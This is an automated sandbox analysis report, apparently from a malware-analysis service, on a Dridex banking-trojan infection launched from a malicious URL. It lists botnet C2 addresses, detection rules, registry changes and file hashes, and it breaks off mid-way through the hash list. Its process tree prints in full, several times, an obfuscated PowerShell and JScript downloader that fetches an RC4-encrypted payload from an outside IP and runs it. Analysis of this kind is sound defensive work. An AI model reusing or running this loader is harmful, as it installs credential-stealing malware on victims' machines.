dridex | hxxp://zeroexit[.]xyz/9HJDckdsvfsdefvs34

Analysis

max time kernel
106s
max time network
129s
platform
windows7_x64
resource
win7v20201028
submitted
25-01-2021 23:02

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

http://zeroexit.xyz/9HJDckdsvfsdefvs34

Score

10^/10

dridex 10111 botnet cryptone discovery evasion loader packer ransomware trojan

Malware Config

Extracted

Family

dridex

Botnet

10111

97.107.127.227:443

87.106.18.216:5037

185.184.25.235:5037

rc4.plain

Signatures

Dridex
Dridex(known as Bugat/Cridex) is a form of malware that specializes in stealing bank credentials.
botnet dridex

CryptOne packer 8 IoCs

Detects CryptOne packer defined in NCC blogpost.

cryptone packer

Processes:

resource	yara_rule
C:\Users\Admin\AppData\Local\Temp\26nhp.exe	cryptone
C:\Users\Admin\AppData\Local\Temp\26nhp.exe	cryptone
C:\Users\Admin\AppData\Local\Temp\f7hip.exe	cryptone
\Users\Admin\AppData\Local\Temp\f7hip.exe	cryptone
\Users\Admin\AppData\Local\Temp\26nhp.exe	cryptone
C:\Users\Admin\AppData\Local\Temp\f7hip.exe	cryptone
\Users\Admin\AppData\Local\Temp\f7hip.exe	cryptone
\Users\Admin\AppData\Local\Temp\26nhp.exe	cryptone

Dridex Loader 2 IoCs

Detects Dridex both x86 and x64 loader in memory.

botnet loader

Processes:

resource	yara_rule
behavioral1/memory/1888-76-0x0000000000400000-0x000000000043D000-memory.dmp	dridex_ldr
behavioral1/memory/1888-79-0x0000000000400000-0x000000000043D000-memory.dmp	dridex_ldr

Blocklisted process makes network request 2 IoCs

Processes:

wscript.exewscript.exe

flow pid process

12 1168 wscript.exe
13 596 wscript.exe
Executes dropped EXE 2 IoCs

Processes:

26nhp.exef7hip.exe

pid process

1888 26nhp.exe
1380 f7hip.exe
Loads dropped DLL 4 IoCs

Processes:

cmd.execmd.exe

pid process

1592 cmd.exe
836 cmd.exe
1592 cmd.exe
836 cmd.exe
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

flow	pid	process
12	1168	wscript.exe
13	596	wscript.exe

pid	process
1888	26nhp.exe
1380	f7hip.exe

pid	process
1592	cmd.exe
836	cmd.exe
1592	cmd.exe
836	cmd.exe

Checks whether UAC is enabled 1 TTPs 2 IoCs

evasion trojan

System Information Discovery

T1082

Processes:

26nhp.exef7hip.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	26nhp.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	f7hip.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
ransomware

System Information Discovery
T1082

Modifies Internet Explorer settings 1 TTPs 36 IoCs

adware spyware

Modify Registry

T1112

Processes:

iexplore.exeIEXPLORE.EXEIEXPLORE.EXEIEXPLORE.EXE

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\DomainSuggestion	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb0100000039e08b06c84715459283081ff7bb5a60000000000200000000001066000000010000200000004976d280d1083ae18969a6fd6d7ade8ee06e756f16f2cbd13f67b7072975bfbf000000000e8000000002000020000000426df391a10917e038e79343c05ef373bbce67b07e3ffb825273dfce2a292f0020000000d7ab10715193b63b603f9c11d8f37ac6c038b01c426fabb7f0c468bcfaea1d0440000000b999b89c9e76e16ff0243fca2a6fe85c7e84be10585fe2df5c50212ac15b8688c6e1e8ddc5f0258acb3c162d4d3986969172da30b44468c27d61e943a2ad2a71	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive\{1AE40B31-5F62-11EB-BD24-DA18B1AB4242} = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\LowRegistry\DOMStorage	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Main\FullScreen = "no"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NTPFirstRun = "1"	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = b08873f56ef3d601	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\MFV = 01000000d08c9ddf0115d1118c7a00c04fc297eb0100000039e08b06c84715459283081ff7bb5a6000000000020000000000106600000001000020000000331e2d32c71df9c437c6834ea4a32b45289e31897ef4f88e6457752586ad5bc9000000000e80000000020000200000007ded86bfaaa80e5ed1f82122baa37cd197b4e5e036eab102444791ec16e61820900000000a149af14cc19273426501619621c9b9110494e7dee8c67d6b5f244f623960704ce60680ba0636c0d1c101bb67f7ce8c7c15ee12ceb20a0f284b4932a34c828aeffac034cc6f993c097de97cd19db9f307d572bf633704870e1d684b064da98b1a0e22019a5d177af402fd5b72918f9237991ad4b018b8342cd3d002eaa36d01a234474003a76f38155f21d4cc2b9a6c400000009f3494e6f1396249dc4f0b6fdee18aafe38f6c1d70774e1afaa9930ddd2c0000376653fa21b8fa4464ff9cb89c5eae2cd5d42d5ba6a8002e63b0559ebe6287f6	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\GPU	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\IETld\LowMic	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\IntelliForms	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames\	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\LowRegistry	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\PageSetup	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Zoom	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames\en-US = "en-US.1"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\InternetRegistry	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Toolbar	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff2400000024000000aa04000089020000	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\LowRegistry\DontShowMeThisDialogAgain	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\NextUpdateDate = "318381027"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\LowMic	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage	iexplore.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

Processes:

PowerShell.exePowerShell.exe

pid process

1456 PowerShell.exe
1788 PowerShell.exe
1456 PowerShell.exe
1788 PowerShell.exe
Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

PowerShell.exePowerShell.exe

description pid process

Token: SeDebugPrivilege 1456 PowerShell.exe
Token: SeDebugPrivilege 1788 PowerShell.exe
Suspicious use of FindShellTrayWindow 1 IoCs

Processes:

iexplore.exe

pid process

1632 iexplore.exe

pid	process
1456	PowerShell.exe
1788	PowerShell.exe
1456	PowerShell.exe
1788	PowerShell.exe

description	pid	process
Token: SeDebugPrivilege	1456	PowerShell.exe
Token: SeDebugPrivilege	1788	PowerShell.exe

Suspicious use of SetWindowsHookEx 10 IoCs

Processes:

iexplore.exeIEXPLORE.EXEIEXPLORE.EXEIEXPLORE.EXE

pid	process
1632	iexplore.exe
1632	iexplore.exe
896	IEXPLORE.EXE
896	IEXPLORE.EXE
692	IEXPLORE.EXE
692	IEXPLORE.EXE
1940	IEXPLORE.EXE
1940	IEXPLORE.EXE
1940	IEXPLORE.EXE
1940	IEXPLORE.EXE

Suspicious use of WriteProcessMemory 52 IoCs

Processes:

iexplore.exeIEXPLORE.EXEIEXPLORE.EXEPowerShell.execmd.exePowerShell.execmd.exewscript.exewscript.execmd.execmd.exe

description	pid	process	target process
PID 1632 wrote to memory of 896	1632	iexplore.exe	IEXPLORE.EXE
PID 1632 wrote to memory of 896	1632	iexplore.exe	IEXPLORE.EXE
PID 1632 wrote to memory of 896	1632	iexplore.exe	IEXPLORE.EXE
PID 1632 wrote to memory of 896	1632	iexplore.exe	IEXPLORE.EXE
PID 896 wrote to memory of 1456	896	IEXPLORE.EXE	PowerShell.exe
PID 896 wrote to memory of 1456	896	IEXPLORE.EXE	PowerShell.exe
PID 896 wrote to memory of 1456	896	IEXPLORE.EXE	PowerShell.exe
PID 896 wrote to memory of 1456	896	IEXPLORE.EXE	PowerShell.exe
PID 1632 wrote to memory of 692	1632	iexplore.exe	IEXPLORE.EXE
PID 1632 wrote to memory of 692	1632	iexplore.exe	IEXPLORE.EXE
PID 1632 wrote to memory of 692	1632	iexplore.exe	IEXPLORE.EXE
PID 1632 wrote to memory of 692	1632	iexplore.exe	IEXPLORE.EXE
PID 692 wrote to memory of 1788	692	IEXPLORE.EXE	PowerShell.exe
PID 692 wrote to memory of 1788	692	IEXPLORE.EXE	PowerShell.exe
PID 692 wrote to memory of 1788	692	IEXPLORE.EXE	PowerShell.exe
PID 692 wrote to memory of 1788	692	IEXPLORE.EXE	PowerShell.exe
PID 1632 wrote to memory of 1940	1632	iexplore.exe	IEXPLORE.EXE
PID 1632 wrote to memory of 1940	1632	iexplore.exe	IEXPLORE.EXE
PID 1632 wrote to memory of 1940	1632	iexplore.exe	IEXPLORE.EXE
PID 1632 wrote to memory of 1940	1632	iexplore.exe	IEXPLORE.EXE
PID 1788 wrote to memory of 924	1788	PowerShell.exe	cmd.exe
PID 1788 wrote to memory of 924	1788	PowerShell.exe	cmd.exe
PID 1788 wrote to memory of 924	1788	PowerShell.exe	cmd.exe
PID 1788 wrote to memory of 924	1788	PowerShell.exe	cmd.exe
PID 924 wrote to memory of 1168	924	cmd.exe	wscript.exe
PID 924 wrote to memory of 1168	924	cmd.exe	wscript.exe
PID 924 wrote to memory of 1168	924	cmd.exe	wscript.exe
PID 924 wrote to memory of 1168	924	cmd.exe	wscript.exe
PID 1456 wrote to memory of 812	1456	PowerShell.exe	cmd.exe
PID 1456 wrote to memory of 812	1456	PowerShell.exe	cmd.exe
PID 1456 wrote to memory of 812	1456	PowerShell.exe	cmd.exe
PID 1456 wrote to memory of 812	1456	PowerShell.exe	cmd.exe
PID 812 wrote to memory of 596	812	cmd.exe	wscript.exe
PID 812 wrote to memory of 596	812	cmd.exe	wscript.exe
PID 812 wrote to memory of 596	812	cmd.exe	wscript.exe
PID 812 wrote to memory of 596	812	cmd.exe	wscript.exe
PID 1168 wrote to memory of 836	1168	wscript.exe	cmd.exe
PID 1168 wrote to memory of 836	1168	wscript.exe	cmd.exe
PID 1168 wrote to memory of 836	1168	wscript.exe	cmd.exe
PID 1168 wrote to memory of 836	1168	wscript.exe	cmd.exe
PID 596 wrote to memory of 1592	596	wscript.exe	cmd.exe
PID 596 wrote to memory of 1592	596	wscript.exe	cmd.exe
PID 596 wrote to memory of 1592	596	wscript.exe	cmd.exe
PID 596 wrote to memory of 1592	596	wscript.exe	cmd.exe
PID 1592 wrote to memory of 1888	1592	cmd.exe	26nhp.exe
PID 1592 wrote to memory of 1888	1592	cmd.exe	26nhp.exe
PID 1592 wrote to memory of 1888	1592	cmd.exe	26nhp.exe
PID 1592 wrote to memory of 1888	1592	cmd.exe	26nhp.exe
PID 836 wrote to memory of 1380	836	cmd.exe	f7hip.exe
PID 836 wrote to memory of 1380	836	cmd.exe	f7hip.exe
PID 836 wrote to memory of 1380	836	cmd.exe	f7hip.exe
PID 836 wrote to memory of 1380	836	cmd.exe	f7hip.exe

C:\Program Files\Internet Explorer\iexplore.exe
"C:\Program Files\Internet Explorer\iexplore.exe" http://zeroexit.xyz/9HJDckdsvfsdefvs34
1⤵
- Modifies Internet Explorer settings
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1632

C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1632 CREDAT:275457 /prefetch:2
2⤵
- Modifies Internet Explorer settings
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:896

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\PowerShell.exe
((((\..\PowerShell.exe -Command "<#AAAAAAAAAAAAAAAAAAAAAAAAA ((#>$a = ""Start-Process cmd.exe `"""cmd.exe /q /c cd /d "%tMp%" && echo function O(l){return Math.random().toString(36).slice(-5)};function V(k){var y=Q;y['set'+'Proxy'](n);y.open('GET',k(1),1);y.Option(n)=k(2);y.send();y/*XASX1ASXASS*/['Wait'+'ForResponse']();if(200==y.status)return _(y.responseText,k(n))};function _(k,e){for(var l=0,n,c=[],F=256-1,S=String,q=[],b=0;256^>b;b++)c[b]=b;for(b=0;256^>b;b++)l=l+c[b]+e['cha'+'rCodeAt'](b%e.length)^&F,n=c[b],c[b]=c[l],c[l]=n;for(var p=l=b=0;p^<k.length;p++)b=b+1^&F,l=l+c[b]^&F,n=c[b],c[b]=c[l],c[l]=n,q.push(S.fromCharCode(k.charCodeAt(p)^^c[c[b]+c[l]^&F]));return q.join('')};try{var u=WScript.Echo(),o='Object',A=Math,a=Function('b','return WScript.Create'+o+'(b)');P=(''+WScript).split(' ')[1],M='indexOf',q=a(P+'ing.FileSystem'+o),m=WScript.Arguments,e='WinHTTP',Z='cmd',Q=a('WinHttp.WinHttpRequest.5.1'),j=a('W'+P+'.Shell'),s=a('ADODB.Stream'),x=O(8)+'.',p='exe',n=0,K=WScript[P+'FullName'],E='.'+p;s.Type=2;s.Charset='iso-8859-1';s.Open();try{v=V(m)}catch(W){v=V(m)};d=v.charCodeAt(027+v[M]('PE\x00\x00'));s.WriteText(v);if(31^<d){var z=1;x+='dll'}else x+=p;s.savetofile(x,2);s.Close();z^&^&(x='regsvr'+32+E+' /s '+x);j.run(Z+E+' /c '+x,0)}catch(xXASXASSAA){};q.Deletefile(K);>3.tMp && stArt wsCripT //B //E:JScript 3.tMp cvbdfg http://45.138.24.35/?MjM1NTM2^&biyqAs^&oa1n4=x33QcvWYaRuPCYjDM_jdSqRGP0vYGViPxYqY^&s2ht4=n6rSCJqveDSj2bCIFxjw8VndTjvSgfBOKa1Ubge-jgeDLgEOmMxeC1lE9LeqzkWNzVafsJOC_hyJNQ4T-8eRR7Jt2132nrJGdM0jlhLW6mJUzO5MVgwU4gkamKrPQ6XJqUNzVEEyUgnNe511ok7GVCS7NTl3sfO4RDx2nOrP9cd3wZNt0R2o9w^&qvgmhpMzE4NQ== "1"`"""""" ; Invoke-Command -ScriptBlock ([Scriptblock]::Create($a))"
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1456

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" cmd.exe /q /c cd /d %tMp% && echo function O(l){return Math.random().toString(36).slice(-5)};function V(k){var y=Q;y['set'+'Proxy'](n);y.open('GET',k(1),1);y.Option(n)=k(2);y.send();y/*XASX1ASXASS*/['Wait'+'ForResponse']();if(200==y.status)return _(y.responseText,k(n))};function _(k,e){for(var l=0,n,c=[],F=256-1,S=String,q=[],b=0;256^>b;b++)c[b]=b;for(b=0;256^>b;b++)l=l+c[b]+e['cha'+'rCodeAt'](b%e.length)^&F,n=c[b],c[b]=c[l],c[l]=n;for(var p=l=b=0;p^<k.length;p++)b=b+1^&F,l=l+c[b]^&F,n=c[b],c[b]=c[l],c[l]=n,q.push(S.fromCharCode(k.charCodeAt(p)^^c[c[b]+c[l]^&F]));return q.join('')};try{var u=WScript.Echo(),o='Object',A=Math,a=Function('b','return WScript.Create'+o+'(b)');P=(''+WScript).split(' ')[1],M='indexOf',q=a(P+'ing.FileSystem'+o),m=WScript.Arguments,e='WinHTTP',Z='cmd',Q=a('WinHttp.WinHttpRequest.5.1'),j=a('W'+P+'.Shell'),s=a('ADODB.Stream'),x=O(8)+'.',p='exe',n=0,K=WScript[P+'FullName'],E='.'+p;s.Type=2;s.Charset='iso-8859-1';s.Open();try{v=V(m)}catch(W){v=V(m)};d=v.charCodeAt(027+v[M]('PE\x00\x00'));s.WriteText(v);if(31^<d){var z=1;x+='dll'}else x+=p;s.savetofile(x,2);s.Close();z^&^&(x='regsvr'+32+E+' /s '+x);j.run(Z+E+' /c '+x,0)}catch(xXASXASSAA){};q.Deletefile(K);>3.tMp && stArt wsCripT //B //E:JScript 3.tMp cvbdfg http://45.138.24.35/?MjM1NTM2^&biyqAs^&oa1n4=x33QcvWYaRuPCYjDM_jdSqRGP0vYGViPxYqY^&s2ht4=n6rSCJqveDSj2bCIFxjw8VndTjvSgfBOKa1Ubge-jgeDLgEOmMxeC1lE9LeqzkWNzVafsJOC_hyJNQ4T-8eRR7Jt2132nrJGdM0jlhLW6mJUzO5MVgwU4gkamKrPQ6XJqUNzVEEyUgnNe511ok7GVCS7NTl3sfO4RDx2nOrP9cd3wZNt0R2o9w^&qvgmhpMzE4NQ== 1
4⤵
- Suspicious use of WriteProcessMemory
PID:812

C:\Windows\SysWOW64\wscript.exe
wsCripT //B //E:JScript 3.tMp cvbdfg http://45.138.24.35/?MjM1NTM2&biyqAs&oa1n4=x33QcvWYaRuPCYjDM_jdSqRGP0vYGViPxYqY&s2ht4=n6rSCJqveDSj2bCIFxjw8VndTjvSgfBOKa1Ubge-jgeDLgEOmMxeC1lE9LeqzkWNzVafsJOC_hyJNQ4T-8eRR7Jt2132nrJGdM0jlhLW6mJUzO5MVgwU4gkamKrPQ6XJqUNzVEEyUgnNe511ok7GVCS7NTl3sfO4RDx2nOrP9cd3wZNt0R2o9w&qvgmhpMzE4NQ== 1
5⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:596

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c 26nhp.exe
6⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1592

C:\Users\Admin\AppData\Local\Temp\26nhp.exe
26nhp.exe
7⤵
- Executes dropped EXE
- Checks whether UAC is enabled
PID:1888

C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1632 CREDAT:340994 /prefetch:2
2⤵
- Modifies Internet Explorer settings
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:692

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\PowerShell.exe
((((\..\PowerShell.exe -Command "<#AAAAAAAAAAAAAAAAAAAAAAAAA ((#>$a = ""Start-Process cmd.exe `"""cmd.exe /q /c cd /d "%tMp%" && echo function O(l){return Math.random().toString(36).slice(-5)};function V(k){var y=Q;y['set'+'Proxy'](n);y.open('GET',k(1),1);y.Option(n)=k(2);y.send();y/*XASX1ASXASS*/['Wait'+'ForResponse']();if(200==y.status)return _(y.responseText,k(n))};function _(k,e){for(var l=0,n,c=[],F=256-1,S=String,q=[],b=0;256^>b;b++)c[b]=b;for(b=0;256^>b;b++)l=l+c[b]+e['cha'+'rCodeAt'](b%e.length)^&F,n=c[b],c[b]=c[l],c[l]=n;for(var p=l=b=0;p^<k.length;p++)b=b+1^&F,l=l+c[b]^&F,n=c[b],c[b]=c[l],c[l]=n,q.push(S.fromCharCode(k.charCodeAt(p)^^c[c[b]+c[l]^&F]));return q.join('')};try{var u=WScript.Echo(),o='Object',A=Math,a=Function('b','return WScript.Create'+o+'(b)');P=(''+WScript).split(' ')[1],M='indexOf',q=a(P+'ing.FileSystem'+o),m=WScript.Arguments,e='WinHTTP',Z='cmd',Q=a('WinHttp.WinHttpRequest.5.1'),j=a('W'+P+'.Shell'),s=a('ADODB.Stream'),x=O(8)+'.',p='exe',n=0,K=WScript[P+'FullName'],E='.'+p;s.Type=2;s.Charset='iso-8859-1';s.Open();try{v=V(m)}catch(W){v=V(m)};d=v.charCodeAt(027+v[M]('PE\x00\x00'));s.WriteText(v);if(31^<d){var z=1;x+='dll'}else x+=p;s.savetofile(x,2);s.Close();z^&^&(x='regsvr'+32+E+' /s '+x);j.run(Z+E+' /c '+x,0)}catch(xXASXASSAA){};q.Deletefile(K);>3.tMp && stArt wsCripT //B //E:JScript 3.tMp cvbdfg http://45.138.24.35/?MzE0Njc2^&zFIcd^&s2ht4=RGUWVxo2bk6rPE52pZDLGpbD1DBmgqVmAH16-t_B0erFOfQe5zUGwewFoyIoLB15Aoaqu30WHzxXN1JSB_RbcNw5G9pGRQbI72171z7UQJMh0lBKGumVT_O4UVF4W5A4jwa2LFaL5^&oa1n4=xHrQMrLYbRvFFYbfLfjKRqZbNUv^&VCVVyHgzBNDk2Nw== "1"`"""""" ; Invoke-Command -ScriptBlock ([Scriptblock]::Create($a))"
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1788

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" cmd.exe /q /c cd /d %tMp% && echo function O(l){return Math.random().toString(36).slice(-5)};function V(k){var y=Q;y['set'+'Proxy'](n);y.open('GET',k(1),1);y.Option(n)=k(2);y.send();y/*XASX1ASXASS*/['Wait'+'ForResponse']();if(200==y.status)return _(y.responseText,k(n))};function _(k,e){for(var l=0,n,c=[],F=256-1,S=String,q=[],b=0;256^>b;b++)c[b]=b;for(b=0;256^>b;b++)l=l+c[b]+e['cha'+'rCodeAt'](b%e.length)^&F,n=c[b],c[b]=c[l],c[l]=n;for(var p=l=b=0;p^<k.length;p++)b=b+1^&F,l=l+c[b]^&F,n=c[b],c[b]=c[l],c[l]=n,q.push(S.fromCharCode(k.charCodeAt(p)^^c[c[b]+c[l]^&F]));return q.join('')};try{var u=WScript.Echo(),o='Object',A=Math,a=Function('b','return WScript.Create'+o+'(b)');P=(''+WScript).split(' ')[1],M='indexOf',q=a(P+'ing.FileSystem'+o),m=WScript.Arguments,e='WinHTTP',Z='cmd',Q=a('WinHttp.WinHttpRequest.5.1'),j=a('W'+P+'.Shell'),s=a('ADODB.Stream'),x=O(8)+'.',p='exe',n=0,K=WScript[P+'FullName'],E='.'+p;s.Type=2;s.Charset='iso-8859-1';s.Open();try{v=V(m)}catch(W){v=V(m)};d=v.charCodeAt(027+v[M]('PE\x00\x00'));s.WriteText(v);if(31^<d){var z=1;x+='dll'}else x+=p;s.savetofile(x,2);s.Close();z^&^&(x='regsvr'+32+E+' /s '+x);j.run(Z+E+' /c '+x,0)}catch(xXASXASSAA){};q.Deletefile(K);>3.tMp && stArt wsCripT //B //E:JScript 3.tMp cvbdfg http://45.138.24.35/?MzE0Njc2^&zFIcd^&s2ht4=RGUWVxo2bk6rPE52pZDLGpbD1DBmgqVmAH16-t_B0erFOfQe5zUGwewFoyIoLB15Aoaqu30WHzxXN1JSB_RbcNw5G9pGRQbI72171z7UQJMh0lBKGumVT_O4UVF4W5A4jwa2LFaL5^&oa1n4=xHrQMrLYbRvFFYbfLfjKRqZbNUv^&VCVVyHgzBNDk2Nw== 1
4⤵
- Suspicious use of WriteProcessMemory
PID:924

C:\Windows\SysWOW64\wscript.exe
wsCripT //B //E:JScript 3.tMp cvbdfg http://45.138.24.35/?MzE0Njc2&zFIcd&s2ht4=RGUWVxo2bk6rPE52pZDLGpbD1DBmgqVmAH16-t_B0erFOfQe5zUGwewFoyIoLB15Aoaqu30WHzxXN1JSB_RbcNw5G9pGRQbI72171z7UQJMh0lBKGumVT_O4UVF4W5A4jwa2LFaL5&oa1n4=xHrQMrLYbRvFFYbfLfjKRqZbNUv&VCVVyHgzBNDk2Nw== 1
5⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:1168

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c f7hip.exe
6⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:836

C:\Users\Admin\AppData\Local\Temp\f7hip.exe
f7hip.exe
7⤵
- Executes dropped EXE
- Checks whether UAC is enabled
PID:1380

C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1632 CREDAT:209934 /prefetch:2
2⤵
- Modifies Internet Explorer settings
- Suspicious use of SetWindowsHookEx
PID:1940

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
MD5
a4f6b6f289d673799615cd6395b6a957

SHA1
feddbb2348b7b67613c87ef1a1423f234de4dcf8

SHA256
ab40d68db60806a9ebda5e4a6de16dff49f75adc8800024ba9c97ff567bd50c2

SHA512
ad02f4770cb213d89f3a168eaa56ccf54009859609d60665595424692a07c6a7b4460961e24ae505234153ccbb334c355dfd9b185683028e29f227e0fe57abb4

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_3bf4f350-86fe-486e-8b87-41ab96d0ad9c
MD5
b6d38f250ccc9003dd70efd3b778117f

SHA1
d5a17c02cac698d4f0a4a9b7d71db2aa19e3f18a

SHA256
4de9d7b5ccab7b67ca8efc83084c7ee6e5e872b7216ed4683bc5da950bf41265

SHA512
67d8195836b7f280d3f9219fd0f58276342e55d5dfdd8a4c54355030d96685d73f1b2b6da0eb39322ec7c3a1d1c5ef06b52d22646cea30a96f822de1800d31e9

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_4408bb97-19ee-4815-b02c-5a0939dddad8
MD5
df44874327d79bd75e4264cb8dc01811

SHA1
